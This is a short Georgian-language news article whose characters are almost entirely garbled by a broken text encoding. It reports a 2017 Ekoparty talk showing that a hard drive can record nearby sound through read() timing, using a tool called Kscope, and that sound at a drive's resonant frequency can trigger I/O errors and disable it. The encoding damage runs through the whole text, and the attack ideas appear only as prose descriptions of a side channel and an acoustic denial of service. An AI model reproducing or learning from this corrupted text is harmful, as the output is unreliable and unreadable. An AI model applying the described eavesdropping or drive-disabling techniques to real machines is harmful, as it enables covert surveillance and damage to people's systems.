แƒ แƒแƒขแƒแƒ› แƒแƒ  แƒฃแƒœแƒ“แƒ แƒฃแƒงแƒ•แƒ˜แƒ แƒ HDD-แƒ–แƒ”?

แƒ แƒแƒขแƒแƒ› แƒแƒ  แƒฃแƒœแƒ“แƒ แƒฃแƒงแƒ•แƒ˜แƒ แƒ HDD-แƒ–แƒ”?

แƒ‘แƒฃแƒ”แƒœแƒแƒก-แƒแƒ˜แƒ แƒ”แƒกแƒจแƒ˜ Ekoparty 2017 แƒ™แƒแƒ›แƒžแƒ˜แƒฃแƒขแƒ”แƒ แƒฃแƒšแƒ˜ แƒฃแƒกแƒแƒคแƒ แƒ—แƒฎแƒแƒ”แƒ‘แƒ˜แƒก แƒ™แƒแƒœแƒคแƒ”แƒ แƒ”แƒœแƒชแƒ˜แƒแƒ–แƒ” แƒแƒ แƒ’แƒ”แƒœแƒขแƒ˜แƒœแƒ”แƒšแƒ›แƒ แƒฐแƒแƒ™แƒ”แƒ แƒ›แƒ แƒแƒšแƒคแƒ แƒ”แƒ“แƒ แƒแƒ แƒขแƒ”แƒ’แƒแƒ› แƒแƒฉแƒ•แƒ”แƒœแƒ แƒซแƒแƒšแƒ˜แƒแƒœ แƒกแƒแƒ˜แƒœแƒขแƒ”แƒ แƒ”แƒกแƒ แƒ’แƒแƒœแƒ•แƒ˜แƒ—แƒแƒ แƒ”แƒ‘แƒ - แƒจแƒ”แƒœแƒแƒ‘แƒ”แƒ‘แƒ˜แƒก แƒคแƒแƒ แƒฃแƒšแƒ˜ แƒ›แƒแƒกแƒ›แƒ”แƒœแƒ˜แƒก แƒกแƒ˜แƒกแƒขแƒ”แƒ›แƒ แƒ›แƒ˜แƒ™แƒ แƒแƒคแƒแƒœแƒ˜แƒก แƒ’แƒแƒ›แƒแƒงแƒ”แƒœแƒ”แƒ‘แƒ˜แƒก แƒ’แƒแƒ แƒ”แƒจแƒ”. แƒฎแƒ›แƒ แƒฉแƒแƒฌแƒ”แƒ แƒ˜แƒšแƒ˜แƒ แƒžแƒ˜แƒ แƒ“แƒแƒžแƒ˜แƒ  แƒ›แƒงแƒแƒ  แƒ“แƒ˜แƒกแƒ™แƒ–แƒ”!

HDD แƒซแƒ˜แƒ แƒ˜แƒ—แƒแƒ“แƒแƒ“ แƒ˜แƒฆแƒ”แƒ‘แƒก แƒ›แƒแƒฆแƒแƒšแƒ˜ แƒ˜แƒœแƒขแƒ”แƒœแƒกแƒ˜แƒ•แƒแƒ‘แƒ˜แƒก แƒ“แƒแƒ‘แƒแƒšแƒ˜ แƒกแƒ˜แƒฎแƒจแƒ˜แƒ แƒ˜แƒก แƒฎแƒ›แƒ”แƒ‘แƒก, แƒœแƒแƒ‘แƒ˜แƒฏแƒ”แƒ‘แƒก แƒ“แƒ แƒกแƒฎแƒ•แƒ แƒ•แƒ˜แƒ‘แƒ แƒแƒชแƒ˜แƒแƒก. แƒแƒ“แƒแƒ›แƒ˜แƒแƒœแƒ˜แƒก แƒ›แƒ”แƒขแƒงแƒ•แƒ”แƒšแƒ”แƒ‘แƒ แƒฏแƒ”แƒ  แƒแƒ  แƒแƒ แƒ˜แƒก แƒแƒฆแƒ˜แƒแƒ แƒ”แƒ‘แƒฃแƒšแƒ˜, แƒ—แƒฃแƒ›แƒชแƒ แƒ›แƒ”แƒชแƒœแƒ˜แƒ”แƒ แƒ”แƒ‘แƒ˜ แƒแƒ› แƒ›แƒ˜แƒ›แƒแƒ แƒ—แƒฃแƒšแƒ”แƒ‘แƒ˜แƒ— แƒแƒขแƒแƒ แƒ”แƒ‘แƒ”แƒœ แƒ™แƒ•แƒšแƒ”แƒ•แƒ”แƒ‘แƒก (แƒ›แƒ”แƒขแƒงแƒ•แƒ”แƒšแƒ”แƒ‘แƒ˜แƒก แƒแƒ›แƒแƒชแƒœแƒแƒ‘แƒ แƒ“แƒแƒ‘แƒแƒšแƒ˜ แƒกแƒ˜แƒฎแƒจแƒ˜แƒ แƒ˜แƒก แƒ•แƒ˜แƒ‘แƒ แƒแƒชแƒ˜แƒ”แƒ‘แƒ˜แƒ—, แƒ แƒแƒ›แƒšแƒ”แƒ‘แƒ˜แƒช แƒฉแƒแƒฌแƒ”แƒ แƒ˜แƒšแƒ˜แƒ, แƒ›แƒแƒ’แƒแƒšแƒ˜แƒ—แƒแƒ“, แƒ’แƒ˜แƒ แƒแƒกแƒ™แƒแƒžแƒ˜แƒ“แƒแƒœ แƒแƒœ HDD-แƒ“แƒแƒœ).

แƒฎแƒ›แƒ แƒแƒ แƒ˜แƒก แƒฐแƒแƒ”แƒ แƒ˜แƒก แƒแƒœ แƒกแƒฎแƒ•แƒ แƒกแƒแƒจแƒฃแƒแƒšแƒ”แƒ‘แƒ˜แƒก แƒ•แƒ˜แƒ‘แƒ แƒแƒชแƒ˜แƒ. แƒแƒ“แƒแƒ›แƒ˜แƒแƒœแƒ˜ แƒ›แƒแƒ— แƒแƒฆแƒ˜แƒฅแƒ•แƒแƒ›แƒก แƒงแƒฃแƒ แƒ˜แƒก แƒ‘แƒแƒ แƒ‘แƒ˜แƒก แƒกแƒแƒจแƒฃแƒแƒšแƒ”แƒ‘แƒ˜แƒ—, แƒ แƒแƒ›แƒ”แƒšแƒ˜แƒช แƒ•แƒ˜แƒ‘แƒ แƒแƒชแƒ˜แƒแƒก แƒ’แƒแƒ“แƒแƒกแƒชแƒ”แƒ›แƒก แƒจแƒ˜แƒ“แƒ แƒงแƒฃแƒ แƒก. แƒ›แƒ˜แƒ™แƒ แƒแƒคแƒแƒœแƒ˜ แƒ“แƒแƒแƒฎแƒšแƒแƒ”แƒ‘แƒ˜แƒ— แƒงแƒฃแƒ แƒ˜แƒก แƒ›แƒกแƒ’แƒแƒ•แƒกแƒ˜แƒ แƒจแƒ”แƒฅแƒ›แƒœแƒ˜แƒšแƒ˜ โ€“ แƒแƒฅแƒแƒช แƒ•แƒ˜แƒ‘แƒ แƒแƒชแƒ˜แƒ”แƒ‘แƒ˜ แƒคแƒ˜แƒฅแƒกแƒ˜แƒ แƒ“แƒ”แƒ‘แƒ แƒ—แƒฎแƒ”แƒšแƒ˜ แƒ’แƒแƒ แƒกแƒ˜แƒ—, แƒ แƒแƒ›แƒ”แƒšแƒ˜แƒช แƒแƒฆแƒแƒ’แƒ–แƒœแƒ”แƒ‘แƒก แƒ”แƒšแƒ”แƒฅแƒขแƒ แƒฃแƒš แƒ˜แƒ›แƒžแƒฃแƒšแƒกแƒก. แƒ›แƒงแƒแƒ แƒ˜ แƒ“แƒ˜แƒกแƒ™แƒ˜, แƒ แƒ แƒ—แƒฅแƒ›แƒ แƒฃแƒœแƒ“แƒ, แƒแƒกแƒ”แƒ•แƒ” แƒ”แƒฅแƒ•แƒ”แƒ›แƒ“แƒ”แƒ‘แƒแƒ แƒ”แƒ‘แƒ แƒ›แƒ˜แƒ™แƒ แƒแƒกแƒ™แƒแƒžแƒฃแƒš แƒ•แƒ˜แƒ‘แƒ แƒแƒชแƒ˜แƒแƒก แƒ’แƒแƒ แƒ”แƒ›แƒแƒ›แƒชแƒ•แƒ”แƒšแƒ˜ แƒฐแƒแƒ”แƒ แƒ˜แƒก แƒ แƒงแƒ”แƒ•แƒ”แƒ‘แƒ˜แƒก แƒ’แƒแƒ›แƒ. แƒ”แƒก แƒชแƒœแƒแƒ‘แƒ˜แƒšแƒ˜แƒ HDD-แƒ”แƒ‘แƒ˜แƒก แƒขแƒ”แƒฅแƒœแƒ˜แƒ™แƒฃแƒ แƒ˜ แƒ›แƒแƒฎแƒแƒกแƒ˜แƒแƒ—แƒ”แƒ‘แƒšแƒ”แƒ‘แƒ˜แƒ“แƒแƒœแƒแƒช แƒ™แƒ˜: แƒ›แƒฌแƒแƒ แƒ›แƒแƒ”แƒ‘แƒšแƒ”แƒ‘แƒ˜ แƒฉแƒ•แƒ”แƒฃแƒšแƒ”แƒ‘แƒ แƒ˜แƒ• แƒ›แƒ˜แƒฃแƒ—แƒ˜แƒ—แƒ”แƒ‘แƒ”แƒœ แƒ•แƒ˜แƒ‘แƒ แƒแƒชแƒ˜แƒ˜แƒก แƒ›แƒแƒฅแƒกแƒ˜แƒ›แƒแƒšแƒฃแƒ  แƒ“แƒแƒกแƒแƒจแƒ•แƒ”แƒ‘ แƒ“แƒแƒœแƒ”แƒก, แƒฎแƒแƒšแƒ แƒ—แƒแƒ•แƒแƒ“ แƒ›แƒงแƒแƒ แƒ˜ แƒ“แƒ˜แƒกแƒ™แƒ˜ แƒฎแƒจแƒ˜แƒ แƒแƒ“ แƒชแƒ“แƒ˜แƒšแƒแƒ‘แƒก แƒ›แƒ˜แƒก แƒ’แƒแƒœแƒ—แƒแƒ•แƒกแƒ”แƒ‘แƒแƒก แƒ แƒ”แƒ–แƒ˜แƒœแƒ˜แƒก แƒแƒœ แƒกแƒฎแƒ•แƒ แƒกแƒแƒ˜แƒ–แƒแƒšแƒแƒชแƒ˜แƒ แƒ›แƒแƒกแƒแƒšแƒ˜แƒกแƒ’แƒแƒœ แƒ“แƒแƒ›แƒ–แƒแƒ“แƒ”แƒ‘แƒฃแƒš แƒ•แƒ˜แƒ‘แƒ แƒแƒชแƒ˜แƒฃแƒš แƒ™แƒแƒœแƒขแƒ”แƒ˜แƒœแƒ”แƒ แƒจแƒ˜. แƒแƒฅแƒ”แƒ“แƒแƒœ แƒแƒ“แƒ•แƒ˜แƒšแƒ˜แƒ แƒ“แƒแƒ•แƒแƒกแƒ™แƒ•แƒœแƒแƒ—, แƒ แƒแƒ› แƒ‘แƒ’แƒ”แƒ แƒ”แƒ‘แƒ˜แƒก แƒฉแƒแƒฌแƒ”แƒ แƒ แƒจแƒ”แƒกแƒแƒซแƒšแƒ”แƒ‘แƒ”แƒšแƒ˜แƒ HDD-แƒ˜แƒก แƒ’แƒแƒ›แƒแƒงแƒ”แƒœแƒ”แƒ‘แƒ˜แƒ—. แƒ แƒฉแƒ”แƒ‘แƒ แƒ›แƒฎแƒแƒšแƒแƒ“ แƒ˜แƒ›แƒ˜แƒก แƒ’แƒแƒ แƒ™แƒ•แƒ”แƒ•แƒ, แƒ—แƒฃ แƒ แƒแƒ’แƒแƒ .

แƒแƒšแƒคแƒ แƒ”แƒ“แƒ แƒแƒ แƒขแƒ”แƒ’แƒแƒ› แƒจแƒ”แƒ›แƒแƒ’แƒ•แƒ—แƒแƒ•แƒแƒ–แƒ แƒ’แƒ•แƒ”แƒ แƒ“แƒ˜แƒ—แƒ˜ แƒแƒ แƒฎแƒ˜แƒก แƒจแƒ”แƒขแƒ”แƒ•แƒ˜แƒก แƒฃแƒœแƒ˜แƒ™แƒแƒšแƒฃแƒ แƒ˜ แƒ•แƒ”แƒ แƒกแƒ˜แƒ, แƒ™แƒ”แƒ แƒซแƒแƒ“, แƒ“แƒ แƒแƒ˜แƒก แƒจแƒ”แƒขแƒ”แƒ•แƒ. แƒ”แƒก แƒจแƒ”แƒขแƒ”แƒ•แƒ แƒ”แƒคแƒฃแƒซแƒœแƒ”แƒ‘แƒ แƒ•แƒแƒ แƒแƒฃแƒ“แƒก, แƒ แƒแƒ› แƒกแƒฎแƒ•แƒแƒ“แƒแƒกแƒฎแƒ•แƒ แƒแƒžแƒ”แƒ แƒแƒชแƒ˜แƒ”แƒ‘แƒ˜ แƒจแƒ”แƒกแƒ แƒฃแƒšแƒ”แƒ‘แƒฃแƒšแƒ˜แƒ แƒ›แƒแƒฌแƒงแƒแƒ‘แƒ˜แƒšแƒแƒ‘แƒแƒ–แƒ” แƒกแƒฎแƒ•แƒแƒ“แƒแƒกแƒฎแƒ•แƒ แƒ“แƒ แƒแƒก, แƒ›แƒแƒชแƒ”แƒ›แƒฃแƒšแƒ˜ แƒจแƒ”แƒงแƒ•แƒแƒœแƒ˜แƒก แƒ›แƒแƒœแƒแƒชแƒ”แƒ›แƒ”แƒ‘แƒ˜แƒก แƒ›แƒ˜แƒฎแƒ”แƒ“แƒ•แƒ˜แƒ—. แƒแƒ› แƒจแƒ”แƒ›แƒ—แƒฎแƒ•แƒ”แƒ•แƒแƒจแƒ˜, โ€žแƒจแƒ”แƒงแƒ•แƒแƒœแƒ˜แƒก แƒ›แƒแƒœแƒแƒชแƒ”แƒ›แƒ”แƒ‘แƒ˜โ€œ แƒแƒ แƒ˜แƒก แƒ™แƒ˜แƒ—แƒฎแƒ•แƒ˜แƒก แƒ—แƒแƒ•แƒ˜แƒกแƒ แƒ“แƒ HDD แƒžแƒšแƒแƒขแƒ”แƒ แƒ˜แƒก แƒ•แƒ˜แƒ‘แƒ แƒแƒชแƒ˜แƒ”แƒ‘แƒ˜, แƒ แƒแƒ›แƒšแƒ”แƒ‘แƒ˜แƒช แƒ“แƒแƒ™แƒแƒ•แƒจแƒ˜แƒ แƒ”แƒ‘แƒฃแƒšแƒ˜แƒ แƒ’แƒแƒ แƒ”แƒ›แƒแƒก แƒ•แƒ˜แƒ‘แƒ แƒแƒชแƒ˜แƒ”แƒ‘แƒ—แƒแƒœ, แƒแƒœแƒฃ แƒฎแƒ›แƒแƒกแƒ—แƒแƒœ. แƒแƒ›แƒ แƒ˜แƒ’แƒแƒ“, แƒ’แƒแƒ›แƒแƒ—แƒ•แƒšแƒ˜แƒ—แƒ˜ แƒ“แƒ แƒแƒ˜แƒก แƒ’แƒแƒ–แƒแƒ›แƒ•แƒ˜แƒ— แƒ“แƒ แƒ›แƒแƒœแƒแƒชแƒ”แƒ›แƒ”แƒ‘แƒ˜แƒก แƒกแƒขแƒแƒขแƒ˜แƒกแƒขแƒ˜แƒ™แƒฃแƒ แƒ˜ แƒแƒœแƒแƒšแƒ˜แƒ–แƒ˜แƒก แƒจแƒ”แƒกแƒ แƒฃแƒšแƒ”แƒ‘แƒ˜แƒ—, แƒจแƒ”แƒ˜แƒซแƒšแƒ”แƒ‘แƒ แƒ’แƒแƒ˜แƒ–แƒแƒ›แƒแƒก แƒ—แƒแƒ•แƒกแƒแƒฎแƒฃแƒ แƒ˜แƒก/แƒžแƒšแƒแƒขแƒ”แƒ แƒ˜แƒก แƒ•แƒ˜แƒ‘แƒ แƒแƒชแƒ˜แƒ แƒ“แƒ, แƒจแƒ”แƒกแƒแƒ‘แƒแƒ›แƒ˜แƒกแƒแƒ“, แƒกแƒแƒจแƒฃแƒแƒšแƒ แƒ•แƒ˜แƒ‘แƒ แƒแƒชแƒ˜แƒ”แƒ‘แƒ˜. แƒ แƒแƒช แƒฃแƒคแƒ แƒ แƒ“แƒ˜แƒ“แƒ˜แƒ แƒ›แƒแƒœแƒแƒชแƒ”แƒ›แƒ”แƒ‘แƒ˜แƒก แƒฌแƒแƒ™แƒ˜แƒ—แƒฎแƒ•แƒ˜แƒก แƒจแƒ”แƒคแƒ”แƒ แƒฎแƒ”แƒ‘แƒ, แƒ›แƒ˜แƒ— แƒฃแƒคแƒ แƒ แƒซแƒšแƒ˜แƒ”แƒ แƒ˜แƒ HDD-แƒ˜แƒก แƒ•แƒ˜แƒ‘แƒ แƒแƒชแƒ˜แƒ แƒ“แƒ, แƒจแƒ”แƒกแƒแƒ‘แƒแƒ›แƒ˜แƒกแƒแƒ“, แƒฃแƒคแƒ แƒ แƒ›แƒแƒฆแƒแƒšแƒ˜ แƒฎแƒ›แƒ.

แƒ แƒแƒ’แƒแƒ  แƒ’แƒแƒ•แƒ–แƒแƒ›แƒแƒ— แƒ›แƒงแƒแƒ แƒ˜ แƒ“แƒ˜แƒกแƒ™แƒ˜แƒก แƒ•แƒ˜แƒ‘แƒ แƒแƒชแƒ˜แƒ? แƒซแƒแƒšแƒ˜แƒแƒœ แƒ›แƒแƒ แƒขแƒ˜แƒ•แƒ˜แƒ: แƒฃแƒ‘แƒ แƒแƒšแƒแƒ“ แƒ’แƒแƒฃแƒจแƒ•แƒ˜แƒ— แƒกแƒ˜แƒกแƒขแƒ”แƒ›แƒฃแƒ แƒ˜ แƒ–แƒแƒ แƒ˜ read () - แƒ“แƒ แƒฉแƒแƒฌแƒ”แƒ แƒ”แƒ— แƒ“แƒ แƒ, แƒ แƒแƒ›แƒ”แƒšแƒ˜แƒช แƒกแƒญแƒ˜แƒ แƒ“แƒ”แƒ‘แƒ แƒ“แƒแƒกแƒ แƒฃแƒšแƒ”แƒ‘แƒแƒก. แƒ—แƒแƒœแƒแƒ›แƒ”แƒ“แƒ แƒแƒ•แƒ” แƒแƒžแƒ”แƒ แƒแƒชแƒ˜แƒฃแƒšแƒ˜ แƒกแƒ˜แƒกแƒขแƒ”แƒ›แƒ”แƒ‘แƒ˜ แƒกแƒแƒจแƒฃแƒแƒšแƒ”แƒ‘แƒแƒก แƒ’แƒแƒซแƒšแƒ”แƒ•แƒ— แƒฌแƒแƒ˜แƒ™แƒ˜แƒ—แƒฎแƒแƒ— แƒกแƒ˜แƒกแƒขแƒ”แƒ›แƒฃแƒ แƒ˜ แƒ–แƒแƒ แƒ”แƒ‘แƒ˜แƒก แƒ“แƒ แƒ แƒœแƒแƒœแƒแƒฌแƒแƒ›แƒ˜แƒก แƒกแƒ˜แƒ–แƒฃแƒกแƒขแƒ˜แƒ—.

แƒกแƒ”แƒฅแƒขแƒแƒ แƒ˜แƒ“แƒแƒœ แƒ˜แƒœแƒคแƒแƒ แƒ›แƒแƒชแƒ˜แƒ˜แƒก แƒฌแƒแƒ™แƒ˜แƒ—แƒฎแƒ•แƒ˜แƒก แƒกแƒ˜แƒฉแƒฅแƒแƒ แƒ” แƒ“แƒแƒ›แƒแƒ™แƒ˜แƒ“แƒ”แƒ‘แƒฃแƒšแƒ˜แƒ แƒ—แƒแƒ•แƒ˜แƒกแƒ แƒ“แƒ แƒคแƒ˜แƒ แƒคแƒ˜แƒขแƒ˜แƒก แƒžแƒแƒ–แƒ˜แƒชแƒ˜แƒแƒ–แƒ”, แƒ แƒแƒช แƒ™แƒแƒ แƒ”แƒšแƒแƒชแƒ˜แƒแƒจแƒ˜แƒ HDD แƒ™แƒแƒ แƒžแƒฃแƒกแƒ˜แƒก แƒ•แƒ˜แƒ‘แƒ แƒแƒชแƒ˜แƒแƒกแƒ—แƒแƒœ. แฒกแƒฃแƒš แƒ”แƒก แƒแƒ แƒ˜แƒก.

แƒกแƒขแƒแƒขแƒ˜แƒกแƒขแƒ˜แƒ™แƒฃแƒ แƒ˜ แƒแƒœแƒแƒšแƒ˜แƒ–แƒ˜ แƒฎแƒแƒ แƒชแƒ˜แƒ”แƒšแƒ“แƒ”แƒ‘แƒ แƒ›แƒแƒ แƒขแƒ˜แƒ•แƒ˜ Kscope แƒฃแƒขแƒ˜แƒšแƒ˜แƒขแƒ˜แƒก แƒ’แƒแƒ›แƒแƒงแƒ”แƒœแƒ”แƒ‘แƒ˜แƒ—. แƒ แƒแƒ’แƒแƒ แƒช แƒแƒ›แƒ‘แƒแƒ‘แƒ”แƒœ, แƒงแƒ•แƒ”แƒšแƒแƒคแƒ”แƒ แƒ˜ แƒ’แƒ”แƒœแƒ˜แƒแƒšแƒฃแƒ แƒ˜ แƒ›แƒแƒ แƒขแƒ˜แƒ•แƒ˜แƒ.

แƒ แƒแƒขแƒแƒ› แƒแƒ  แƒฃแƒœแƒ“แƒ แƒฃแƒงแƒ•แƒ˜แƒ แƒ HDD-แƒ–แƒ”?
Kscope แƒฃแƒขแƒ˜แƒšแƒ˜แƒขแƒ (stat() syscall)

Kscope แƒแƒ แƒ˜แƒก แƒžแƒแƒขแƒแƒ แƒ แƒžแƒ แƒแƒ’แƒ แƒแƒ›แƒ แƒกแƒ˜แƒกแƒขแƒ”แƒ›แƒฃแƒ แƒ˜ แƒ–แƒแƒ แƒ˜แƒก แƒจแƒ”แƒกแƒ แƒฃแƒšแƒ”แƒ‘แƒ˜แƒก แƒ“แƒ แƒแƒจแƒ˜ แƒ›แƒชแƒ˜แƒ แƒ” แƒ’แƒแƒœแƒกแƒฎแƒ•แƒแƒ•แƒ”แƒ‘แƒ”แƒ‘แƒ˜แƒก แƒ•แƒ˜แƒ–แƒฃแƒแƒšแƒ˜แƒ–แƒแƒชแƒ˜แƒ˜แƒกแƒ—แƒ•แƒ˜แƒก. แƒฌแƒงแƒแƒ แƒแƒ’แƒแƒ›แƒแƒฅแƒ•แƒ”แƒงแƒœแƒ”แƒ‘แƒฃแƒšแƒ˜แƒ GitHub-แƒ–แƒ”.

แƒชแƒแƒšแƒ™แƒ” แƒกแƒแƒชแƒแƒ•แƒจแƒ˜ HDD แƒ“แƒ แƒ แƒแƒ แƒกแƒ”แƒ‘แƒแƒ‘แƒก แƒžแƒ แƒแƒ’แƒ แƒแƒ›แƒ˜แƒก แƒ•แƒ”แƒ แƒกแƒ˜แƒ, แƒ แƒแƒ›แƒ”แƒšแƒ˜แƒช แƒ™แƒแƒœแƒคแƒ˜แƒ’แƒฃแƒ แƒ˜แƒ แƒ”แƒ‘แƒฃแƒšแƒ˜แƒ แƒ›แƒงแƒแƒ  แƒ“แƒ˜แƒกแƒ™แƒ–แƒ” แƒ“แƒ แƒแƒฃแƒšแƒ˜ แƒจแƒ”แƒขแƒ”แƒ•แƒ˜แƒกแƒ—แƒ•แƒ˜แƒก, แƒแƒœแƒฃ แƒ™แƒแƒœแƒคแƒ˜แƒ’แƒฃแƒ แƒ˜แƒ แƒ”แƒ‘แƒฃแƒšแƒ˜แƒ แƒกแƒ˜แƒกแƒขแƒ”แƒ›แƒ˜แƒก แƒ–แƒแƒ แƒ˜แƒก แƒ’แƒแƒกแƒแƒแƒœแƒแƒšแƒ˜แƒ–แƒ”แƒ‘แƒšแƒแƒ“ read ().

แƒฎแƒ›แƒ˜แƒก แƒฉแƒแƒฌแƒ”แƒ แƒ˜แƒก แƒ“แƒ”แƒ›แƒแƒœแƒกแƒขแƒ แƒ˜แƒ แƒ”แƒ‘แƒ HDD-แƒ˜แƒก แƒ’แƒแƒ›แƒแƒงแƒ”แƒœแƒ”แƒ‘แƒ˜แƒ—, Kscope แƒฃแƒขแƒ˜แƒšแƒ˜แƒขแƒ˜แƒก แƒคแƒฃแƒœแƒฅแƒชแƒ˜แƒแƒœแƒ˜แƒ แƒ”แƒ‘แƒ


แƒ แƒ แƒ—แƒฅแƒ›แƒ แƒฃแƒœแƒ“แƒ, แƒ›แƒ”แƒขแƒงแƒ•แƒ”แƒšแƒ”แƒ‘แƒ˜แƒก แƒ’แƒแƒ’แƒ”แƒ‘แƒ แƒแƒ› แƒ’แƒ–แƒ˜แƒ— แƒจแƒ”แƒฃแƒซแƒšแƒ”แƒ‘แƒ”แƒšแƒ˜แƒ, แƒ›แƒแƒ’แƒ แƒแƒ› HDD แƒกแƒแƒ™แƒ›แƒแƒแƒ“ แƒจแƒ”แƒกแƒแƒคแƒ”แƒ แƒ˜แƒกแƒ˜แƒ, แƒ แƒแƒ’แƒแƒ แƒช แƒ•แƒ˜แƒ‘แƒ แƒแƒชแƒ˜แƒ˜แƒก แƒกแƒ”แƒœแƒกแƒแƒ แƒ˜. แƒ›แƒแƒ’แƒแƒšแƒ˜แƒ—แƒแƒ“, แƒจแƒ”แƒ’แƒ˜แƒซแƒšแƒ˜แƒแƒ— แƒ“แƒแƒ แƒ”แƒ’แƒ˜แƒกแƒขแƒ แƒ˜แƒ แƒ“แƒ”แƒ—, แƒ—แƒฃ แƒแƒ“แƒแƒ›แƒ˜แƒแƒœแƒ˜, แƒ แƒแƒ›แƒ”แƒšแƒกแƒแƒช แƒแƒชแƒ•แƒ˜แƒ แƒ›แƒงแƒแƒ แƒ˜ แƒคแƒ”แƒฎแƒกแƒแƒชแƒ›แƒ”แƒšแƒ˜ แƒแƒœ แƒคแƒ”แƒฎแƒจแƒ˜แƒจแƒ•แƒ”แƒšแƒ˜, แƒจแƒ”แƒ•แƒ˜แƒ“แƒ แƒแƒ—แƒแƒฎแƒจแƒ˜ แƒ™แƒแƒ›แƒžแƒ˜แƒฃแƒขแƒ”แƒ แƒ˜แƒ— (แƒแƒšแƒ‘แƒแƒ—, แƒ—แƒฃ แƒ—แƒแƒ•แƒ“แƒแƒ›แƒกแƒฎแƒ›แƒ”แƒšแƒก แƒแƒชแƒ•แƒ˜แƒ แƒ แƒ‘แƒ˜แƒšแƒ˜ แƒกแƒžแƒแƒ แƒขแƒฃแƒšแƒ˜ แƒคแƒ”แƒฎแƒกแƒแƒชแƒ›แƒ”แƒšแƒ˜ แƒแƒœ แƒ˜แƒแƒขแƒแƒ™แƒ–แƒ” แƒกแƒฅแƒ”แƒšแƒ˜ แƒฎแƒแƒšแƒ˜แƒฉแƒแƒ, HDD แƒ•แƒ”แƒ  แƒจแƒ”แƒซแƒšแƒ”แƒ‘แƒก แƒ•แƒ˜แƒ‘แƒ แƒแƒชแƒ˜แƒ˜แƒก แƒ แƒ”แƒ’แƒ˜แƒกแƒขแƒ แƒแƒชแƒ˜แƒแƒก - แƒแƒ›แƒ˜แƒก แƒจแƒ”แƒ›แƒแƒฌแƒ›แƒ”แƒ‘แƒ แƒฆแƒ˜แƒ แƒก). แƒ™แƒแƒ›แƒžแƒ˜แƒฃแƒขแƒ”แƒ แƒก แƒจแƒ”แƒฃแƒซแƒšแƒ˜แƒ แƒ“แƒแƒแƒ แƒ”แƒ’แƒ˜แƒกแƒขแƒ แƒ˜แƒ แƒแƒก แƒ’แƒแƒขแƒ”แƒฎแƒ˜แƒšแƒ˜ แƒ›แƒ˜แƒœแƒ แƒแƒœ แƒกแƒฎแƒ•แƒ แƒ˜แƒœแƒชแƒ˜แƒ“แƒ”แƒœแƒขแƒ”แƒ‘แƒ˜ แƒซแƒšแƒ˜แƒ”แƒ แƒ˜ แƒฎแƒ›แƒ˜แƒก แƒ˜แƒœแƒขแƒ”แƒœแƒกแƒ˜แƒ•แƒแƒ‘แƒ˜แƒ—. แƒแƒœแƒฃ, แƒ›แƒงแƒแƒ แƒ˜ แƒ“แƒ˜แƒกแƒ™แƒ˜ แƒจแƒ”แƒ˜แƒซแƒšแƒ”แƒ‘แƒ แƒ˜แƒงแƒแƒก แƒ”แƒ แƒ—แƒ’แƒ•แƒแƒ แƒ˜ แƒแƒ แƒแƒแƒ•แƒขแƒแƒ แƒ˜แƒ–แƒ”แƒ‘แƒฃแƒšแƒ˜ แƒจแƒ”แƒญแƒ แƒ˜แƒก แƒ’แƒแƒ›แƒแƒ•แƒšแƒ”แƒœแƒ˜แƒก แƒกแƒ˜แƒกแƒขแƒ”แƒ›แƒ.

HDD แƒ›แƒ™แƒ•แƒšแƒ”แƒšแƒ˜

แƒกแƒฎแƒ•แƒแƒ—แƒ แƒจแƒแƒ แƒ˜แƒก, แƒ›แƒกแƒ’แƒแƒ•แƒกแƒ˜ แƒขแƒ”แƒฅแƒœแƒ˜แƒ™แƒ˜แƒก แƒ’แƒแƒ›แƒแƒงแƒ”แƒœแƒ”แƒ‘แƒ แƒจแƒ”แƒกแƒแƒซแƒšแƒ”แƒ‘แƒ”แƒšแƒ˜แƒ แƒ›แƒงแƒแƒ แƒ˜ แƒ“แƒ˜แƒกแƒ™แƒ”แƒ‘แƒ˜แƒก แƒ’แƒแƒ›แƒแƒ แƒ—แƒ•แƒ˜แƒกแƒ—แƒ•แƒ˜แƒก. แƒ›แƒฎแƒแƒšแƒแƒ“ แƒแƒฅ แƒฉแƒ•แƒ”แƒœ แƒแƒ  แƒ•แƒฎแƒกแƒœแƒ˜แƒ— แƒ แƒฎแƒ”แƒ•แƒ”แƒ‘แƒก HDD-แƒ“แƒแƒœ, แƒแƒ แƒแƒ›แƒ”แƒ“, แƒžแƒ˜แƒ แƒ˜แƒฅแƒ˜แƒ—, แƒ•แƒแƒฌแƒแƒ แƒ›แƒแƒ”แƒ‘แƒ— แƒ แƒฎแƒ”แƒ•แƒ”แƒ‘แƒก, แƒ แƒแƒ›แƒšแƒ”แƒ‘แƒ˜แƒช แƒ˜แƒ™แƒ•แƒ”แƒ‘แƒ”แƒ‘แƒ HDD-แƒ–แƒ”. แƒ—แƒฃ แƒ“แƒ˜แƒœแƒแƒ›แƒ˜แƒ™แƒ˜แƒ“แƒแƒœ แƒฎแƒ›แƒแƒก แƒฃแƒ™แƒ แƒแƒ•แƒ— แƒ˜แƒกแƒ”แƒ— แƒกแƒ˜แƒฎแƒจแƒ˜แƒ แƒ”แƒ–แƒ”, แƒ แƒแƒ›แƒ”แƒšแƒ˜แƒช แƒ แƒ”แƒ–แƒแƒœแƒแƒœแƒกแƒก แƒฃแƒฌแƒ”แƒ•แƒก HDD แƒกแƒ˜แƒฎแƒจแƒ˜แƒ แƒ”แƒก, แƒกแƒ˜แƒกแƒขแƒ”แƒ›แƒ แƒ›แƒแƒšแƒ” แƒ’แƒแƒ›แƒแƒ แƒ—แƒแƒ•แƒก แƒ›แƒแƒฌแƒงแƒแƒ‘แƒ˜แƒšแƒแƒ‘แƒแƒก I/O แƒจแƒ”แƒชแƒ“แƒแƒ›แƒ˜แƒ— (Linux-แƒ˜แƒก แƒ‘แƒ˜แƒ แƒ—แƒ•แƒ˜ แƒ›แƒ—แƒšแƒ˜แƒแƒœแƒแƒ“ แƒ—แƒ˜แƒจแƒแƒ•แƒก HDD-แƒก 120 แƒฌแƒแƒ›แƒ˜แƒก แƒจแƒ”แƒ›แƒ“แƒ”แƒ’). แƒ—แƒแƒ•แƒแƒ“ แƒ›แƒงแƒแƒ แƒ˜ แƒ“แƒ˜แƒกแƒ™แƒ˜ แƒจแƒ”แƒ˜แƒซแƒšแƒ”แƒ‘แƒ แƒ’แƒแƒœแƒ˜แƒชแƒแƒ“แƒแƒก แƒจแƒ”แƒฃแƒฅแƒชแƒ”แƒ•แƒแƒ“แƒ˜ แƒ“แƒแƒ–แƒ˜แƒแƒœแƒ”แƒ‘แƒ.

